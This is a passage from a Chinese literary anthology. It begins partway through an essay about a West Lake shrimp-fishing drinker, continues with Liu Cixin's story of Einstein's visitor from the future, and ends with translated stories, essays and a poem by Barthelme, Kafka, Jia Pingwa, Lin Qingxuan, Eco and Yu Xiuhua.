　　最后一种情境，见于杭州西湖之畔。那时我僦居在里西湖招贤寺隔壁的小平屋里，对门就是孤山，所以朋友送我一副对联，叫做“居邻葛岭招贤寺，门对孤山放鹤亭”。家居多暇，则闲坐在湖边的石凳上，欣赏湖光山色。每见一中年男子，蹲在岸上，向湖边垂钓。他钓的不是鱼，而是虾。钓钩上装一粒饭米，挂在岸石边。一会儿拉起线来，就有很大的一只虾。其人把它关在一个瓶子里。于是再装上饭米，挂下去钓。钓得了三四只大虾，他就把瓶子藏入藤篮里，起身走了。我问他：“何不再钓几只？”他笑着回答说：“下酒够了。”

　　我跟他去，见他走进岳坟旁边的一家酒店里，拣一座头坐下了。我就在他旁边的桌上坐下，叫酒保来一斤酒，一盆花生米。他也叫一斤酒，却不叫菜，取出瓶子来，用钓丝缚住了这三四只虾，拿到酒保烫酒的开水里去一浸，不久取出，虾已经变成红色了。他向酒保要一小碟酱油，就用虾下酒。我看他吃菜很省，一只虾要吃很久，由此可知此人是个酒徒。

　　此人常到我家门前的岸边来钓虾。我被他引起酒兴，也常跟他到岳坟去吃酒。彼此相熟了，但不问姓名。我们都独酌无伴，就相与交谈。他知道我住在这里，问我何不钓虾。我说我不爱此物。他就向我劝诱，尽力宣扬虾的滋味鲜美，营养丰富。又教我钓虾的窍门。他说：“虾这东西，爱躲在湖岸石边。你倘到湖心去钓，是永远钓不着的。这东西爱吃饭粒和蚯蚓，但蚯蚓龌龊，它吃了，你就吃它，等于你吃蚯蚓。所以我总用饭粒。你看，它现在死了，还抱着饭粒呢。”他提起一只大虾来给我看，我果然看见那虾还抱着半粒饭。他继续说：“这东西比鱼好得多。鱼，你钓了来，要剖，要洗，要用油盐酱醋来烧，多少麻烦。这虾就便当得多：只要到开水里一煮，就好吃了。不须花钱，而且新鲜得很。”他这钓虾论讲得头头是道，我真心赞叹。

　　这钓虾人常来我家门前钓虾，我也好几次跟他到岳坟吃酒，彼此熟识了，然而不曾通过姓名。有一次，夏天，我带了扇子去吃酒。他借看我的扇子，看到了我的名字，吃惊地叫道：“啊！我有眼不识泰山！”于是叙述他曾经读过我的随笔和漫画，说了许多仰慕的话。我也请教他姓名，知道他姓朱，名字现已忘记，是在湖滨旅馆门口摆刻字摊的。下午收了摊，常到里西湖来钓虾吃酒。此人自得其乐，甚可赞佩。可惜不久我就离开杭州，远游他方，不再遇见这钓虾的酒徒了。

　　写这篇琐记时，我久病初愈，酒戒又开。回想上述情景，酒兴顿添。正是：“昔年多病厌芳樽，今日芳樽唯恐浅。”

信使

刘慈欣

　　老人是昨天才发现楼下那个听众的。这些天他的心绪很不好，除了拉琴，很少向窗外看。他想用窗帘和音乐把自己同外部世界隔开，但做不到。早年，在大西洋的那一边，当他在狭窄的阁楼上摇着婴儿车，在专利局喧闹的办公室中翻着那些枯燥的专利申请书时，他的思想却是沉浸在另一个美妙的世界，在那个世界中，他以光速奔跑……现在，普林斯顿是一个幽静的小城，早年的超脱却离他而去，外部世界在时时困扰着他。有两件事使他不安：其中一件是量子理论，这个由普朗克开始、现在有许多年轻的物理学家热衷的东西，让他觉得很不舒服，他不喜欢那个理论中的不确定性，“上帝不掷骰子。”他最近常常自言自语。而他后半生所致力的统一场论却没有什么进展，他所构筑的理论只有数学内容而缺少物理内容。另一件事是原子弹。广岛和长崎的事已过去很长时间了，甚至战争也过去很长时间了，但他的痛苦在这之前只是麻木的伤口，现在才痛起来。那只是一个很小的、很简单的公式，只是说明了质量和能量的关系，事实上，在费米的反应堆建成之前，他自己也认为人类在原子级别把质量转化为能量是异想天开……海伦·杜卡斯最近常这么安慰他。但她不知道，老人并不是在想自己的功过荣辱，他的忧虑要深远得多。最近的睡梦中，他常常听到一种可怕的声音，像洪水，像火山，终于有一夜他被这声音从梦中惊醒，发现那不过是门廊中一只小狗的酣声。以后，那声音再没在他梦中出现。他梦见了一片荒原，上面有被残阳映照着的残雪。他试图跑出这荒原，但它太大了，无边无际。后来他看到了海，残阳中呈血色的海，才明白整个世界都是盖着残雪的荒原……他再次从梦中惊醒，这时，一个问题，像退潮时黑色的礁石一样突然出现在他的脑海中：人类还有未来吗？这问题像烈火一样煎熬着他，他几乎无法忍受了。

　　楼下的那人是个年轻人，穿着现在很流行的尼龙夹克。老人一眼就看出他是在听他的音乐。后来的三天，每当老人在傍晚开始拉琴时，那人总是准时到来，静静地站在普林斯顿渐渐消失的晚霞中，一直到夜里九点左右老人放下琴要休息时，他才慢慢地离去。这人可能是普林斯顿大学的一个学生，也许听过老人的讲课或某次演讲。老人早已厌倦了从国王到家庭主妇的数不清的崇拜者，但楼下这个陌生的知音却给了他一种安慰。

　　第四天傍晚，老人的琴声刚刚响起，外面下起雨来。从窗口看下去，年轻人站到了这里惟一能避雨的一棵梧桐树下。后来雨大了，那棵在秋天枝叶已很稀疏的树挡不住雨了。老人停下了琴，想让他早些走，但年轻人似乎知道这不是音乐结束的时间，仍一动不动地站在那儿，浸透了雨水的夹克在路灯下发亮。老人放下提琴，迈着不灵便的步子走下楼，穿过雨雾走到年轻人面前。

　　“你如果，哦，喜欢听，就到楼上去听吧。”

　　没等年轻人回答，老人转身走回去。年轻人呆呆地站在那儿，双眼望着雨中的夜景，仿佛刚才发生的是一场梦。后来，音乐又在楼上响了起来，他慢慢转过身，恍惚地走进门，走上楼去，好像被那乐声牵着魂一样。楼上老人房间的门半开着，他走了进去。老人面对着窗外的雨夜拉琴，没有回头，但感觉到了年轻人的到来。对于如此迷恋于自己琴声的这个人，老人心中有一丝歉意。他拉得不好，特别是今天这首他最喜欢的莫扎特的回族曲，拉得常常走调。有时，他忘记了一个段落，就用自己的想象来补上。还有那把价格低廉的小提琴，很旧了，音也不准。但年轻人在静静地听着，他们俩很快就沉浸在这不完美但充满想象力的琴声中。

　　这是二十世纪中叶一个普通的夜晚，这时，东西方的铁幕已经落下，在刚刚出现的核阴影下，人类的未来就像这秋天的夜雨一样明暗而迷蒙。就在这夜。这雨中，莫扎特的回族曲从普林斯顿这座小楼的窗口飘出……时间过得似乎比往常快，又到九点了。老人停下了琴，想起了那个年轻人，抬头见他正向自己鞠躬，然后转身向门口走去。

　　“哦，你明天还来听吧。”老人说。

　　年轻人站住，但没有转身，“会的，教授，但明天您有客人。”他拉开门，又像想起了什么，“哦对，客人八点十分就会走的，那时我还会来的。”

　　老人并没有仔细领会这话的含义。

　　第二天雨没停，但晚上真有客人来，是以色列大使。老人一直在祝福那个遥远的新生的自己民族的国家，并用出卖手稿的钱支援过它。但这次大使带来的请求让他哭笑不得，他们想让他担任以色列总统！他坚决拒绝了。他送大使到外面的雨中，大使上车前掏出怀表看，路灯下老人看到表上的时间是八点十分。他突然想起了什么。

　　“您，哦，您来的事情还有人知道吗？”他问大使。

　　“请放心教授，这是严格保密的，没有任何人知道。”

　　也许那个年轻人知道，但他还知道……老人又问了一个很奇怪的问题，“那么，您来之前就打算八点十分离开吗？”

　　“嗯……不，我想同您谈很长时间的，但既然您柜绝了，我就不想再打扰了，我们都会理解的，教授。”

　　老人困惑地回到楼上，但当他拿起小提琴时，就把这困惑忘记了。琴声刚刚响起，年轻人就出现了。

　　十点钟，两个人的音乐会结束了。老人又对将要离去的年轻人说了昨天的话：“你明天还来听吧。”他想了想又说，“我觉得这很好。”

　　“不，明天我还在下面听。”

　　“明天好像还会下雨，这是连阴天。”

　　“是的，明天会下雨，但在您拉琴的时候不下；后来还会下一天，您拉琴时也下，我会上来听；雨要一直下到大后天上午十一点才会停。”

　　老人笑了，觉得年轻人很幽默，但看着他离去的背影，他突然预感到这未必是幽默。

　　老人的预感是对的。以后的天气精确地证实着年轻人的预言：第二天晚上没雨，他在楼下听琴；第三天外面下雨，他上来听；普林斯顿的雨准确地在第四天的上午十一点停了。

　　雨后初晴的这天晚上，年轻人却没有在楼下听琴，他来到老人的房间里，拿着一把小提琴。他没说什么，用双手把琴递给老人。

　　“不，不，我用不着别的琴了。”老人摆摆手说。有很多人送给他提琴，其中有很名贵的意大利著名制琴师的制品，他都谢绝了，认为自己的技巧配不上这么好的琴。

　　“这是借给您的，过一段时间您再还给我。对不起教授，我只能借给您。”

　　老人接过琴来，这是一把看上去很普通的小提琴，没有弦！再仔细一看，弦是有的，但是极细，如蛛丝一般。老人不敢把手指按到弦上，那蛛丝似乎一口气就可吹断。他抬头看了看年轻人，后者微笑着向他点点头，于是他轻轻地把手指按到弦上，弦没断，他的手指却感到了那极细的蛛丝所不可能具有的强劲的张力。他把弓放上去，就是放弓时这不经意的一点滑动，那弦便发出了它的声音。这时，老人知道了什么叫天籁之音！

　　那是太阳的声音，那是声音的太阳！

　　老人拉起了回族曲，立刻把自己溶入了无边的宇宙。他看到光波在太空中行进，慢得像晨风吹动的薄雾；无限宽广的时空薄膜在引力的巨浪中轻柔地波动着，浮在膜上的无数恒星如晶莹的露珠；能量之风浩荡吹过，在时空之膜上激起梦幻般的霓光……当老人从这神奇的音乐中醒来时，年轻人不知什么时候已经走了。

　　以后，老人被那把小提琴迷住了，每天都拉琴到深夜。杜卡斯和医生都劝他注意身体，但他们也知道，每当琴声响起时，老人就感到一种从未有过的生命活力在血管中涌动。

　　年轻人却再也没来。

　　这样过了十多天，老人的琴突然拉得少了起来，而且有时又拉起了他原来那把旧提琴。这是因为他突然产生了一种忧虑，怕过多的演奏会磨断那蛛丝般的弦。但那把琴所发出的声音的魔力让他无法抗拒，特别是想到年轻人在某一天还会来耍回那把琴，他又像开始时那样整夜地拉那把琴了。每天深夜，当他依依不舍地停止演奏时，总要细细地察看琴弦，老眼昏花，他就让杜卡斯找了一个放大镜，而放大镜下的琴弦丝毫没有防损的痕迹，它的表面如宝石一样光滑晶莹，在黑暗中，它还会发出蓝色的荧光。

　　这样又过了十多天。

　　这天深夜，入睡前，老人像往常那样最后看了看那把琴，突然发现琴弦有些异样。他拿起放大镜仔细察看，肯定了自己的判断。其实这迹象在几天前就出现了，只是到了现在，它才明显到能轻易察觉的程度。

　　琴弦越磨越粗。

　　第二天晚上，当老人刚把弓放到琴弦上时，年轻人突然出现了。

　　“你来要琴吗？”老人不安地问。

　　年轻人点点头。

　　“哦……如果能把它送给我的话……”

　　“绝对不行，真对不起教授，绝对不行。我不能在现在留下任何东西。”

　　老人沉思起来，他有些明白了。双手托起那把琴，他问：“那么这个，不是现在的东西了？”年轻人点点头。他现在站在窗前，窗外，银河横贯长空，群星灿烂，在这壮丽的背景前他呈现出一个黑色的剪影。

　　老人现在明白了更多的事。他想起了年轻人神奇的预测能力，其实很简单，他不是在预测，是在回忆。

　　“我是信使，我们的时代不想看到您太忧虑，所以派我来。”

　　“那么你给我带来什么呢，这把琴吗？”老人并没有表现出任何惊奇，在他的一生中，整个宇宙对他就是一个大惊奇，正因为如此，他才超越别人之上，首先窥见了它最深的奥秘。

　　“不是的，这把琴只是一个证明，证明我来自未来。”

　　“怎么证明呢？”

　　“在您的时代，人们能够把质量转化为能量：原子弹，还有很快将出现的核聚变炸弹。在我们的时代，已可以把能量转化成质量，您看”，他指着那把提琴的琴弦，“它变粗了，所增加的质量是由您拉琴时产生的声波能量转化的。”老人仍然困惑地摇摇头。“我知道，这两件事不符合您的理论：——，我不可能逆时间而行；二，按照您的公式，要增加琴弦上已增加的那么多的质量，需要大得多的能量。”

　　老人沉默了一会儿，宽容地笑了，“哦，理论是灰色的，”他微微叹息，“生命之树也是灰色的了。好吧，孩子，你给我带来了什么信息？”

　　“两个信息。”

　　“那么第一？”

　　“人类有未来。”

　　老人宽慰地仰躺到扶手椅上，像每一个了却了人生最后夙愿的老者一样，一种舒适感涌遍了全身，他可以真正休息了。“孩子，见到你我就应该知道这一点的。”

　　“投在日本的两颗原子弹是人类最后两颗用于实战的核弹。本世纪九十年代末，大部分国家签署了禁止核试验和防止核扩散国际公约，又过了五十年，人类的最后一颗核弹被销毁。我是在那二百年后出生的。”

　　年轻人拿起了那把他要收回的小提琴。“我该走了，为了听您的音乐，我已耽误了很多行程，我还要去三个时代，见五个人，其中有统一场论的创立者，那是距您百年以后的事了。”

　　他没说的还有：他在每个时代拜见伟人都选在其不久于人世的时候，这样可把对未来的影响减到最小。

　　“还有你带来的第二条信息呢？”

　　年轻人已拉开房门，他转过身来微笑着，似乎带着歉意。

　　“教授，上帝确实掷骰子。”

　　老人从窗口看着年轻人来到楼下，已是深夜，街上没什么人。年轻人开始脱下衣服，他也不想带走这个时代的东西。他的紧身内衣在夜色中发着荧光，那显然是他所处的时代的衣服。他没有像老人想像的那样化作一道白光离去，而是沿一条斜线急速向上升去。几秒钟后，他就消失在群星灿烂的夜空之中。他上升的速度很恒定，没有加速过程。很明显，不是他在上升，而是地球在移动，他是绝对静止的，至少在这个时空中是绝对静止的。老人猜测，他可能使自己处于一个绝对时空坐标的原点，他站在时间长河的河岸上，看着时间急流滚滚而过，愿意的话，他可以走到上下游的任何一处。

　　爱因斯坦默默站了一会儿，慢慢地转身，又拿起了他那把旧小提琴。

婴儿的观念

唐纳德 · 巴塞尔姆

　　我宣布撕书是正确的，尤其是以前撕的完全正确。

　　婴儿干的第一件错事就是撕她的书。为此我们规定，她每撕一页就将她的门关上，让她在屋里独自呆 4 个小时。起初她一天只撕一页。尽管从关着的门里传来的哭声令人烦躁，但这个办法还算奏效，因此我们理所当然地认为这是我们该付出的代价，或者说一部分代价。可随着婴儿手劲的增加，她一次会撕掉两页书，这将意味着她被关起来独自呆 8 个小时，大家的烦躁也翻了一番。可她不罢休。随着时间的推移，当她撕掉三四页书，一次被关 16 个小时之久时，我们几天不得安宁，既妨碍给她正常喂饭，又使我妻忧心忡忡。但我觉得既然有了规定就得执行——持之以恒地执行，否则就会给人一种错误的概念。当时她才十四五个月，常常哭一小时左右就睡着了，怪可怜的。她的房子挺不错，里面有漂亮的摇木马、填制的动物等近百种玩具。如果能聪明地利用时间，可干的事有好多，如玩智力测验等等。不幸的是，有时我们打开门，发现在被关期间她撕掉了更多的书页，整页整页的，加起来几乎是一本书。

　　婴儿的名字叫波恩 · 丹赛。我们喜怒哀乐的表情，严肃认真的言语对她无济于事。

　　我必须承认她聪明了。婴儿很少出来到地板上玩，即使偶尔来到地板上玩的时候，如果你到她跟前，总会发现她身旁放着书，打开着。若你瞥一眼，书完整无损，可你仔细一瞧就会发现有一页小小的书角被撕掉了。在平常情况下很容易被认为是正常磨损而放过去。但我清楚她干的事，她撕下书角吞下去了。如此下去可不得不慎重考虑，这事真让我绞尽了脑汁。我妻子说我们对小孩太苛刻了，孩子的体重也减了。但我向她指出，孩子往后的路还很长，得同别人一起生活，而同别人一起生活的世界有很多戒律，如果学不会适应这些戒律，你将会被冷落而毫无声望，大家都会排挤你，躲着你。我们将孩子关得最长的一次是88小时，我妻子用撬棍把门撬下来才把她放出来的，她还欠 12 小时，因为她撒掉了 25 页书。后来我又把门装上，并加了一把只有将磁卡插进锁孔才能打开的大锁，而磁卡我拿着。

　　可情况并未好转，孩子会迅速地从她的房子里爬出来，向离她最近的诸如《月亮，晚安》之类的书扑去大把大把地撕起来。10 秒钟，包括封皮在内，《月亮，晚安》就被撕掉了 34 页，散在地上。我开始有点担心，如果将她欠着的时间加起来，即使到 1992 年，她还从房子里出不来，而她已经面无血色，好几周没有去公园了。我们或多或少面临着道义的危机。

　　后来，我宣布撕书是正确的，尤其是以前撕的完全正确。做为父母，这也是解脱的办法之一。人总得转变观念，每次转变会贵若黄金。于是我同小孩高兴地并排坐在地上撕书。有时仅仅出于消遣，我们还到街道上去砸挡风玻璃。

煤桶骑士

卡夫卡

　　所有的煤都用光了；煤桶空了；铲子没有用了；炉子散发着凉气；屋子里充满了严寒；窗外的树僵立在白霜中；天空犹如一块银色的盾牌，挡住了向他求救的人。我必须有煤！我不能冻死！我的身后是冰冷的炉子，面前是冰冷的天空。因此，我现在必须快马加鞭，到煤贩子那里去寻求帮助。对于我一般的请求，他一定会麻木不仁。我必须向他非常清楚地表明，我连一粒煤渣都没有了，而他对于我来说简直就是天空中的太阳。我必须像乞丐一样前去，——当那乞丐由于饥饿无力地靠在门槛上，奄奄一息的时候，主人家的女厨师才决定给他喂点残剩的咖啡——煤贩虽然很气愤，但他一定会在“不可杀人”的戒律光芒的照射下，不得不把一铲煤扔进我的煤桶里。

　　怎样前去无疑会决定此行的结果，所以我骑着煤桶去。像骑士那样，我双手抓住桶把手，——一个最简单的辔具，费力地转下了楼梯。但是，到了楼下，我的桶就上升起来，了不起，真了不起！那些伏在地下的骆驼，在指挥者的棍棒下晃晃悠悠地站立起来时，也不过如此而已。它以均匀的速度穿过了冰冷的街道，它的高度好极了，有几次我被升到了二楼那么高，但从来没有下降到门房那么低。我异乎寻常地高高飘浮在煤贩的地下室门前，那贩子正蹲在地下室的一张小桌子边写着什么。为了放掉屋里多余的热气，他把门敞开着。

　　“煤店老板！”我急切地喊，低沉的声音刚一发出便被罩在呼出的哈气中，在严寒中显得格外混浊。“老板，求你给我一点煤吧！我的煤桶已经空了，所以我都能骑在它上面了。行行好，一有钱，我马上就付给你。”

　　煤贩把手拢在耳朵边，“我没有听错吧？”他转过身问他妻子，她正坐在炉边长凳上织毛衣，“我听得对吗？有一个买主。”

　　“我什么都没有听到。”那妇人说，她织着毛衣，平静地喘着气，惬意地背靠着炉子取暖。

　　“噢，是的，”我喊道，“是我，一个老主顾，忠诚老实，只是当下没有法子了。”

　　“老婆，”煤贩子说，“是有一个人，我不会弄错的；一个老主顾，肯定是一个老主顾，说话才这么中听。”

　　“你这是怎么了，老头子，”妇人把手中的活贴在胸脯上，停顿了一下，说：“谁也没有，街道是空的，我们给所有的顾客都供了煤，我们可以把煤店关几天休息一下子。”

　　“可我还在这儿，坐在煤桶上。”我喊着，没有知觉的眼泪冷冰冰的，模糊了我的双眼，“请向上面看一下，你们会立刻发现我的，我求你们给我一铲煤，如果你们能给我两铲，那我就会高兴得发疯。其他顾客确实都关照了，但还有我呢，啊，但愿能听到煤在桶里发出格格的滚动声。”

　　“我来了，”煤贩子说着便迈起他那短腿上了地下室的台阶，可那妇人抢先一步站在他面前，紧紧抓住他的胳膊说：“你呆着，如果你坚持要上去的话，那就让我上去吧。想想你夜里那吓人的咳嗽声，为了一桩生意，而且是臆想出来的生意，就忘了老婆孩子，也不想要你的肺了。好，我去。”“告诉他我们仓库中所有煤的种类，价格我在后面给你报。”“好吧，”妇人说着，上了街道。当然她立刻就看到了我，“老板娘，”我喊道，“衷心地问你好。我只要一铲煤，一铲最次的煤，就放在这桶里，我自己把它拉回去，我当然要如数付钱，但现在还不行，现在不行。”“现在不行”这几个字如同一声钟响，它又刚好和附近教堂塔尖上传来的晚钟声混合在一起，足以令人神魂颠倒。

　　“他想要点什么？”煤贩问道，“什么都不要，”妇人向下面大声喊，“外面什么都没有，我什么都没有看见，什么都没有听见，除了 6 点的钟响。我们关门吧，天太冷了，也许明天我们又该忙了。”

　　她什么也没有听到，什么也没有看到，但她却解下她的围裙，试图用它把我赶走。遗憾的是她成功了。我的煤桶具有骑乘动物的一切优点，它没有反抗力，它太轻了，一个妇人的围裙就能把它从地上驱赶走。

　　“你这个恶魔，”当她半蔑视，半得意地在空中挥动着手转身回店时，我回头喊着，“你这个恶魔！我求你给一铲最次的煤你都不肯。”于是，我爬上冰山，让自己永远消失。

朋友

贾平凹

　　朋友是磁石吸来的铁片儿，钉子，螺丝帽和小别针，只要愿意，从俗世上的任何尘土里都能吸来。现在，街上的小青年有江湖意气，喜欢把朋友的关系叫“铁哥们”，第一次听到这么说，以为是铁焊了那种牢不可破，但一想，磁石吸的就是关于铁的东西呀。这些东西，有的用力甩甩就掉了，有的怎么也甩不掉，可你没了磁性它们就全没有喽！昨天夜里，端了盆热水在凉台上洗脚，天上一个月亮，盆水里也有一个月亮，突然想到这就是朋友么。

　　我在乡下的时候，有过许多朋友，至今二十年过去，来往的还有一二，八九皆已记不起姓名，却时常怀念一位已经死去的朋友。我个子低，打篮球时他肯传球给我，我们就成了朋友，数年间形影不离。后来分手，是为着从树上摘下一堆桑葚，说好一人吃一半的，我去洗手时他吃了他的一半，又吃了我的一半的一半。那时人穷，吃是第一重要的。现在是过城里人的日子，人与人见面再不问“吃过了吗”的话。在名与利的奋斗中，我又有了相当多的朋友，但也在奋斗名与利的过程中，我的朋友变换如四季。……走的走，来的来，你面前总有几张板凳，板凳总没空过。我作过大概的统计，有危难时护佑过我的朋友，有贫困时周济过我的朋友，有帮我处理过鸡零狗碎事的朋友，有利用过我又反过来踹我一脚的朋友，有诬陷过我的朋友，有加盐加醋传播过我不该传播的隐私而给我制造了巨大的麻烦的朋友。成我事的是我的朋友，坏我事的也是我的朋友。有的人认为我没有用了不再前来，有些人我看着恶心了主动与他断交，但难处理的是那些帮我忙越帮越乱的人，是那些对我有过恩却又没完没了地向我讨人情的人。地球上人类最多，但你一生的交往最多的却不外乎方圆几里或十几里，朋友的圈子其实就是你人生的世界，你的为名为利的奋斗历程就是朋友的好与恶的历史。有人说，我是最能交朋友的，殊不知我的相当多的时间却是被铁朋友占有，常常感觉里我是一条端上饭桌的鱼，你来捣一筷子，他来挖一勺子，我被他们吃剩下一副骨架。当我一个人坐在厕所的马桶上独自享受清静的时候，我想像坐监狱是美好的，当然是坐单人号子。但有一次我独自化名去住了医院，只和戴了口罩的大夫护士见面，病床的号码就是我的一切，我却再也熬不了一个月，第二十七天里翻院墙回家给所有的朋友打电话。也就有人说啦：你最大的不幸就是不会交友。这我便不同意了，我的朋友中是有相当一些人令我吃尽了苦头，但更多的朋友是让我欣慰和自豪的。过去的一个故事讲，有人得了病看医生，正好两个医生一条街住着，他看见一家医生门前鬼特别多，认为这医生必是医术不高，把那么多人医死了，就去门前只有两个鬼的另一位医生家看病，结果病没有治好。旁边人推荐他去鬼多的那家医生看病，他说那家门口鬼多这家门口鬼少，旁边人说：那家医生看过万人病，死鬼五十个，这家医生在你之前就只看过两个病人呀！我想，我恐怕是门前鬼多的那个医生。根据我的性情，职业，地位和环境，我的朋友可以归两大类：一类是生活关照型。人家给我办过事，比如买了煤，把煤一块一块搬上楼，家人病了找车去医院，介绍孩子入托。我当然也给人家办过事，写一幅字让他去巴结他的领导，画一张画让他去银行打通贷款的关节，出席他岳父的寿宴。或许人家帮我的多，或许我帮人家的多，但只要相互诚实，谁吃亏谁占便宜就无所谓，我们就是长朋友，久朋友。一类是精神交流型。具体事都干不来，只有一张八哥嘴，或是我慕他才，或是他慕我才，在一块谈文道艺，吃茶聊天。在相当长的时间里，我把我的朋友看得非常重要，为此冷落了我的亲戚，甚至我的父母和妻子儿女。可我渐渐发现，一个人活着其实仅仅是一个人的事，生活关照型的朋友可能了解我身上的每一个痣，不一定了解我的心，精神交流型的朋友可能了解我的心，却又常常拂我的意。快乐来了，最快乐的是自己。苦难来了，最苦难的也是自己。

　　然而我还是交朋友，朋友多多益善，孤独的灵魂在空荡的天空中游弋，但人之所以是人，有灵魂同时有身躯的皮囊，要生活就不能没有朋友，因为出了门，门外的路泥泞，树丛和墙根又有狗吠。

　　西班牙有个毕加索，一生才大名大，朋友是很多的，有许多朋友似乎天生就是来扶助他的，但他经常换女人也换朋友。这样的人我们效法不来，而他说过一句话：朋友是走了的好。我对于曾经是我朋友后断交或疏远的那些人，时常想起来寒心，也时常想到他们的好处。如今倒坦然多了，因为当时寒心，是把朋友看成了自己和自己的家人，殊不知朋友毕竟是朋友，朋友是春天的花，冬天就都没有了，朋友不一定是知己，知己不一定是朋友，知己也不一定总是人，他既然吃我，耗我，毁我，那又算得了什么呢，皇帝能养一国之众，我能给几个人好处呢？这么想想，就想到他们的好处了。

　　今天上午，我又结识了一个新朋友，他向我诉苦说他的老婆工作在城郊外县，家人十多年不能团聚，让我写几幅字，他去贡献给人事部门的掌权人。我立即写了，他留下一罐清茶一条特级烟。待他一走，我就拨电话邀三四位旧的朋友来有福同享。这时候，我的朋友正骑了车子向我这儿赶来，我等待着他们，却小小私心勃动，先自己沏一杯喝起，燃一支吸起，便忽然体会了真朋友是无言的牺牲，如这茶这烟，于是站在门口迎接喧哗到来的朋友而仰天嗬嗬大笑了。

路上的情书

林清玄

　　我捡过一封诀别的情书。

　　情书上有这样看来普通的句子：“当初是我选择了你，心里明知与你不会长久，还是执着的选择了你。”

　　“这些日子以来，谢谢你陪我走过这一段路。”

　　“你是一个很好的人，你一定会认识比我好上千倍的女孩。”

　　“由衷地希望在没有我的日子，你依然过得好。”

　　会捡到这封情书是很偶然的。有一天我在路上散步，刮起一阵强风，一个印刷十分精美的信封落在我的眼前，信封没有署名，也没有缄封，我就打开来看。

　　是一封很长的诀别信，看来是十七岁的少女写给十八岁的男朋友的信，显然她是要离开他了，于是找了许许多多藉口。

　　奇怪的是，这封信收信和发信的人都没有名字，写信的少女叫作“March”，她的男朋友叫作“December”，是三月写给十二月的信呢！可以想见十二月收到这封信，脸如寒冬的样子。三月的信写得这么苦，心情也不像阳春的季节。

　　可是，这么重要的信为什么会掉在路上呢？

　　它有几个时间的可能，一是少女写好信不小心遗落的，二是她随手丢弃，三是男朋友收到后，非常生气，回家的路上就顺手扔了。

　　不管如何，这封没有地址与署名的诀别信，一定是亲手递交的，可见这个少女非常有诚意，又写诀别信、又亲手交托。不像我们年轻时的感情事件，对方离开时的理由到如今都还是谜一样。

　　三月在信里说：“在你十八岁生日时，无论我在不在你身旁，一定会送你一枚银戒指，传说在十八岁生日时收到银戒指，此后将会一路顺畅平安。如今，这段甜蜜的过去就要放弃，明知你是真心爱我，December，回头再看一眼，再看一眼就好，珍重！再见！”

　　这结尾写得真不错，我坐在公园的长椅上，读着路上偶然捡到的情书，想到少年时代我们的情感都是如此纠缠的，因为不能了解一切都只是偶然。

　　银戒指何必等到分手之后再送，今天送不是很好吗？明天的事，谁知道呢？

　　不知道后来三月找到四月，十二月找到一月没有？

　　那信纸也选得很好，是一个背着行李站在铁轨交叉点的少女，不知道走哪一条路好。

　　“不管怎么走，都会有路。”我把诀别的情书收好，想起这句话。

没时间

安贝托 · 艾柯

　　每天我只有 100 分钟，用于做爱、吹牛、参加葬礼、看病、购物、运动、看戏以及一切可以随性的事情。

　　我打电话向牙医预约，他则告诉我在未来一周内他连一个小时的空档都没有，于是我唯唯诺诺几声就挂了电话，怕打搅了他，因为他是个严肃的专业人士嘛。但是别人邀请我参加研讨会，或要我编辑某大师的纪念专辑，或写篇论文，或加入专家组成的课题小组时，如果我说我没空，那是没人会相信的。他们会说：“别这样嘛，教授，像您这样的人物总是有大把大把时间的啦！”显然人家从来不把我们人文学者当作严肃的专业人士——在别人眼里，我们是一批游手好闲的家伙。

　　我做了一些计算，也鼓励我所有的同行都自行计算一番，然后告诉我正确与否。一个非闰年的正常年有 8760 个小时，假设每天睡眠 8 小时，花 1 小时起床、刮胡子、穿衣服，半小时刷牙和上厕所，不超过 2 个小时的时间吃饭，我们就用掉了 4197.5 小时。另外花两个小时在市区乱窜，每年也要用 730 个小时。

　　每周教 3 门课，每门课 2 小时，还要抽一个下午给学生开小灶，那就又用掉了 100 个小时。我花在大学里的时间——我将教学工作浓缩于 20 个星期里——是 220 个小时，外加 24 小时的考试、12 小时阅读论文、78 小时开系务会议和委员会议。平均每年读 5 篇论文，每篇平均 350 页，每页起码读两遍，一遍修订前，一遍修订后；以每页 3 分钟计，要花掉 175 个小时。较短的论文大部分都有助理代劳，但是还是需要开 6 次会议，每次负责读 4 篇，平均每篇 30 页：阅读加上初步讨论，以每页 5 分钟计，这又要 60 个小时。还不包括我自己的研究，已经花了 569 个小时。

　　我编辑了一份叫 VS 的符号学杂志，每年出刊 3 次，共约 300 页。不算阅读稿件和退稿的时间，以每页 10 分钟计（评估、修订、校对），一共可以花掉 50 个小时。我又主编了两种与我本行有关的学术系列专著。一年 6 本书，总页数算它 1800 页；以每页 10 分钟计，又花去 300 个小时。我自己著作的翻译——论文、书、写给报章杂志的文章，研讨会上宣读的论文等；只考虑我可以进行核对的文种，我每年要读 1500 页，以每页 20 分钟计（阅读，对照原文，跟译者面对面或者电话、书信沟通），这又是 500 个小时。还有我自己的写作，即使不包括写书，光是论文、杂文、报告、授课笔记等，加起来轻轻松松就超过 300 页。如果再加上思考、做笔记、修订、发呆的时间，每页起码花 1 个小时——又是 300 个小时。我每周的杂志专栏，以最乐观的估计，要选题材、做笔记、参考几本书、打草稿、剪裁到适当长度、口述、寄走，每周又得花 3 个小时。乘以 52 周就是 156 个小时。最后还有我的邮件，虽然还有很多来信未回，但是我每周要奉献 3 个上午，从 9 点到 13 点，这就占掉了 624 个小时。

　　我还计算出来，光是去年，我只接受一成的邀约，并只参加跟我的专业有密切关系的研讨会，以及在若干无可回避的公开场合露面，我竟然投入 372 个小时积极参与此类活动。又因为很多这类活动在国外举行，旅行要花费 323 个小时以上。

　　以上加起来，一共是 8121.5 个小时，从每年的 8760 个小时中减去，我就剩下了 638.5 个小时，换言之，每天是 100 分钟，可用于做爱、吹牛、参加葬礼、看病、购物、运动、看戏。你看得出，我还没有算进阅读工作范围以外的图书时间（书籍、杂文、漫画）。假设我利用旅行的时间阅读，223 个小时，5 分钟读一页，我有可能读 3876 页，约相当于 300 页的书 13 本。还有吸烟又如何？每月就算 60 支吧，如果每支烟要花半分钟（找烟、点烟、熄烟），一共就是 182 个小时。太奢侈了。我必须戒烟。

穿过大半个中国去睡你

余秀华

　　穿过大半个中国去睡你

　　其实，睡你和被你睡是差不多的，无非是

　　两具肉体碰撞的力，无非是这力催开的花朵

　　无非是这花朵虚拟出的春天让我们误以为生命被重新打开

　　大半个中国，什么都在发生：火山在喷，河流在枯

　　一些不被关心的政治犯和流民

　　一路在枪口的麋鹿和丹顶鹤

　　我是穿过枪林弹雨去睡你

　　我是把无数的黑夜摁进一个黎明去睡你

　　我是无数个我奔跑成一个我去睡你

　　当然我也会被一些蝴蝶带入歧途

　　把一些赞美当成春天

